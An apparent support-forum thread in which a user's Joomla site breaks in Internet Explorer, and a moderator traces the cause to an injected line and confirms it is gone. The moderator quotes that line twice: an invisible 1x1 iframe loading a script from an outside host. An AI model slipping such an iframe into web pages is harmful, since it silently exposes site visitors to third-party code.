I am having a problem with the website on internet explorer
i already opened a ticket in the support, but it is an urgent matter, thought maybe the community could help me
Please i need help.
i tried detecting the problem, without any luck,
i have checked other thread where the k2 jquery is causing a problem, i am not using the k2 component on this website, and still the problems occurs,
i have updated the t3 to the latest version, and still having the problem, i even disabled the modules one by one to see if the problem occurs and still the same issue.
Any Reply?
More than 24 Hours no reply nor here neither From Support?!!
Arent we supposed to get fast support response when paying for our templates?
Ninja Lead
Moderator
Dear Syncsarl,
I have checked and could not access to your backend using your account provided. Please give me the valid access for closer check.
For ticket which you have not got our support, please show me the ticket ID then I will take a look into immediately
Further, your site is not using our template!!!
We are willing to help you out upon receipt of additional info.
Hello,
this is my ticket number: KCT-161-31286
it is using JA Nex, and the information i sent you is correct i just checked, kindly touble check in the support ticket.
this is the website address: http://www.globetoday.net
<em>@Ninja Lead 344331 wrote:</em><blockquote>Dear Syncsarl,
I have checked and could not access to your backend using your account provided. Please give me the valid access for closer check.
For ticket which you have not got our support, please show me the ticket ID then I will take a look into immediately
Further, your site is not using our template!!!
We are willing to help you out upon receipt of additional info.</blockquote>
thank You for the Reply,
Still the Problem is not solved yet, i have updated the ticket with the details.
Ninja Lead
Moderator
I found out the problem on IE browser. When viewing source code on IE, it shows line, please remove it or move it other place
<iframe src="http://sqebkp.ftp1.biz/ip/stat.php" width=1 height=1 style="visibility: hidden"></iframe>
When i enabled to debug on IE: Document Mode show Quirks, it works. It shows “7 standards or 8 standards or 9 standards”. Please check the code lines of your site again.
When the Ticket is Marked as Urgent isnt it Supposed to be Solved/Replied in 24 hours? i have been waiting for more than 48 Hours, with a pending reply!
Could You Please help me solve this issue?!!
The Website is running live and we are facing problems with our Students!!
Anonymous
Moderator
Hello Syncsarl,
Pls check the reply of Ninja Lead above, it helps to get your issue fixed. Regarding ticket ID# KCT-161-31286, our support team has answered already. Kindly check all again and feel free to get back to us for any further help.
We are willing to assist you!!
Regards,
the problem hasnt been solved,
when i disable the mod_janewspro module in the sl-2 position the website goes back to normal on internet explorer,
i have reuploaded the original css of the module, but still facing the same problem, i even removed the styling from the articles and still the same issue
Ninja Lead
Moderator
Please send pm me with FTP account, i will help you check it.
Ninja Lead
Moderator
I checked the error your site on IE browser and could see that you removed the below script from the header page
<iframe src="http://sqebkp.ftp1.biz/ip/stat.php" width=1 height=1 style="visibility: hidden"></iframe>
Hence, the problem was fixed. Please get back to me on this thread if the error still persists.
Regards,
This topic contains 11 replies, has 3 voices, and was last updated by Ninja Lead 12 years ago.
We moved to new unified forum. Please post all new support queries in our New Forum
